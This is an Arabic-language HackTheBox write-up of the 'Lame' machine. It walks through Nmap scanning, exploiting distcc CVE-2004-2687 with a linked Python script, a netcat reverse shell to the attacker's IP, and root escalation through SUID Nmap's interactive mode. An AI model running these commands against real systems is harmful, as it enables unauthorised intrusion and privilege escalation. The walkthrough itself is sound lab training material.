> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md).

# شرح Lame HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Lame>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال المنفذ 3632 - distcc (CVE-2004-2687)
* استغلال Nmap ذو SUID (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/4668258ffa6a268904a78c00590e8fc7ad4dc8ca" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/986600f730b9995e6db5f51d8391cf101707a3f5" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.3 -oG allPorts
```

<figure><img src="/files/3063f211c67d66ef37980db61dbacd99e9cd0011" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.

<figure><img src="/files/f56019d91a5d2687337080ad2481cc1afee84598" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted
```

<figure><img src="/files/db9bb68acd1502509dd4e18511834bac127e2197" alt=""><figcaption></figcaption></figure>

### المنفذ 3632 - distccd

> Distcc هي أداة لتسريع عملية الترجمة البرمجية باستخدام الموارد غير المستغلة لأجهزة الكمبيوتر الأخرى على الشبكة. عند تهيئتها على جهاز، يمكنها توزيع مهام الترجمة إلى أنظمة أخرى تشغّل الخادم الشيطاني distccd ولديها مترجم متوافق.

#### تم تحديد ثغرة أمنية

الإصدار 4.2.4 من distccd يستمع على المنفذ 3632 وهو عرضة لـ CVE-2004-2687. تتيح هذه الثغرة للمهاجم تنفيذ أوامر عشوائية بصلاحيات المستخدم الذي يعمل تحته البرنامج الخفي (غالبًا مستخدم غير مميز، لكن هذا قد يختلف حسب الإعدادات).

#### التحقق من الثغرة

لتأكيد وجود الثغرة، نستخدم سكربت Nmap التالي:

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

تشير النتيجة إلى أن الخادم بالفعل معرّض.

<figure><img src="/files/42eaf1bf343e50c8e7a75bfcc04d5e019af91aa7" alt=""><figcaption></figcaption></figure>

### الاستغلال

#### تشغيل سكربت Python

لاستغلال الثغرة، نستخدم سكربت بايثون التالي:

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

هذا يتيح لنا تنفيذ أوامر عشوائية على الجهاز الهدف.

<figure><img src="/files/de28527effcc09024a155dd2e76bdc2f83c38f9a" alt=""><figcaption></figcaption></figure>

#### تشغيل غلاف عكسي

نستمع على المنفذ 443:

```bash
nc -nlvp 443
```

ننفذ الأمر التالي من الجهاز الهدف لإنشاء الاتصال:

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/c4a8769a9548fd9853a744e38e34c49e2d926181" alt=""><figcaption></figcaption></figure>

#### التعامل مع الطرفية

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### الراية user.txt :)

<figure><img src="/files/f011870a15301b0391cddbbc1e0834d2d5fdef07" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

### SUID - Nmap

#### العثور على ملفات SUID

نبحث عن الملفات التي تم تفعيل بت SUID لها باستخدام الأمر التالي:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/c68620690cf49c820320a14dc6c11bc8c0cb9036" alt=""><figcaption></figcaption></figure>

#### التعرّف على Nmap

من بين الملفات المدرجة نجد **Nmap**.

#### الاستغلال

يمكن استخدام Nmap بشكل تفاعلي لتشغيل الأوامر بصلاحيات root. إليك الخطوات:

شغّل Nmap في الوضع التفاعلي:

```bash
nmap --interactive
```

شغّل الأوامر كـ root، على سبيل المثال:

```bash
!whoami
```

هذا يطبع "root".

<figure><img src="/files/b356e89df2004f2c5abeafe0f19e9f6f8f9dca37" alt="" width="563"><figcaption></figcaption></figure>

احصل على shell بصلاحيات root:

```bash
!sh
```

بمجرد الدخول إلى صدفة الجذر، قم بالوصول إلى **root.txt** ملف لاسترجاع العلم.

<figure><img src="/files/96bdb8802f6d6498640e3f96bdf830344078c10c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e22f0576a34dfaaba016e43e1c5fe0d4b48334a4" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
